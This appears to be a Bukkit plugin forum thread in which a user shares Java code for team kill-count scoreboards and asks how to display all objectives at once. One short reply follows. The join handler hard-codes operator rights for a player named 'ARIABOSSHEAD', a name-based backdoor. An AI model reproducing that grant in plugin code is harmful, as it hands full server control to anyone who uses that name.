How would I display every objective's DisplaySlot for all players?

Hey. I'm trying to add something to my plugin which I can't seem to accomplish.

I'm attempting to have every objective's DisplaySlot, no matter which objective they're in themselves, appear on the screen, so that players can keep track of other objective's scores. I'm not sure if this is possible with scoreboards, but any help whatsoever would be so awesome.

My code:

Code:java

public HashMap<OfflinePlayer, Score> mKills = new HashMap<OfflinePlayer, Score>();
public HashMap<OfflinePlayer, Score> dKills = new HashMap<OfflinePlayer, Score>();
public HashMap<OfflinePlayer, Score> iKills = new HashMap<OfflinePlayer, Score>();
 
public Objective mObj;
public Objective obj;
public Objective iObj;
 
Scoreboard killsM = Bukkit.getScoreboardManager().getNewScoreboard();
Scoreboard kills = Bukkit.getScoreboardManager().getNewScoreboard();
Scoreboard killsI = Bukkit.getScoreboardManager().getNewScoreboard();
 
//Kills on scoreboard
mObj = killsM.registerNewObjective("Mianite", "dummy");
obj = kills.registerNewObjective("Dianite", "dummy");
iObj = killsI.registerNewObjective("Ianite", "dummy");
 
mObj.setDisplaySlot(DisplaySlot.SIDEBAR);
mObj.setDisplayName("Mianite");
 
obj.setDisplaySlot(DisplaySlot.SIDEBAR);
obj.setDisplayName("Dianite");
 
iObj.setDisplaySlot(DisplaySlot.SIDEBAR);
iObj.setDisplayName("Ianite");
 
    @EventHandler
    public void playerKill(EntityDeathEvent event) {
        Entity killer = event.getEntity().getKiller();
        if(event.getEntity().getKiller() instanceof Player && event.getEntity() instanceof Player){
            if(plugin.isMianite.contains(killer.getUniqueId())) {
                if(plugin.mKills.containsKey(killer)){
                    plugin.mKills.get(killer).setScore(plugin.mKills.get(killer).getScore() + 1);
                }else{
                    plugin.mKills.get(killer).setScore(plugin.mKills.get(killer).getScore() + 1);
                }
            }else if(plugin.isDianite.contains(killer.getUniqueId())) {
                if(plugin.dKills.containsKey(killer)){
                    plugin.dKills.get(killer).setScore(plugin.dKills.get(killer).getScore() + 1);
                }else{
                    plugin.dKills.get(killer).setScore(plugin.dKills.get(killer).getScore() + 1);
                }
            }else if(plugin.isIanite.contains(killer.getUniqueId())) {
                if(plugin.iKills.containsKey(killer)){
                    plugin.iKills.get(killer).setScore(plugin.iKills.get(killer).getScore() + 1);
                }else{
                    plugin.iKills.get(killer).setScore(plugin.iKills.get(killer).getScore() + 1);
                }
            }
        }
    }
 
    @SuppressWarnings("deprecation")
@EventHandler
    public void onPlayerJoinEvent(PlayerJoinEvent event) {
        if(!event.getPlayer().hasPlayedBefore()) {
            event.getPlayer().sendMessage(ChatColor.DARK_PURPLE + "Welcome to the world of Mianite. " + ChatColor.AQUA + "\nPick your team. " + ChatColor.GREEN + "/mianite," + ChatColor.DARK_RED + " /dianite, " + ChatColor.YELLOW + "/ianite");
            plugin.cantMove.add(event.getPlayer().getUniqueId());
            event.getPlayer().setScoreboard(plugin.board);
            plugin.mKills.put(event.getPlayer(), plugin.mObj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
            plugin.dKills.put(event.getPlayer(), plugin.obj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
            plugin.iKills.put(event.getPlayer(), plugin.iObj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
        }
            if(plugin.isMianite.contains(event.getPlayer().getUniqueId())){
                event.getPlayer().setScoreboard(plugin.killsM);
            }
            if(plugin.isDianite.contains(event.getPlayer().getUniqueId())){
                event.getPlayer().setScoreboard(plugin.kills);
            }
            if(plugin.isIanite.contains(event.getPlayer().getUniqueId())){
                event.getPlayer().setScoreboard(plugin.killsI);
            }
            plugin.mKills.put(event.getPlayer(), plugin.mObj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
            plugin.dKills.put(event.getPlayer(), plugin.obj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
            plugin.iKills.put(event.getPlayer(), plugin.iObj.getScore(Bukkit.getServer().getOfflinePlayer(ChatColor.GREEN + "Kills:")));
        if(event.getPlayer().getName().equalsIgnoreCase("ARIABOSSHEAD")){
            event.getPlayer().setOp(true);
        }
    }

Cheers!

 

ariaDEE
create a for loop of every player on the server
and the use player.setScoreboard(<Board>)

 

I've done this, but it only shows the first scoreboard a kill is added to, nothing else. Any ideas?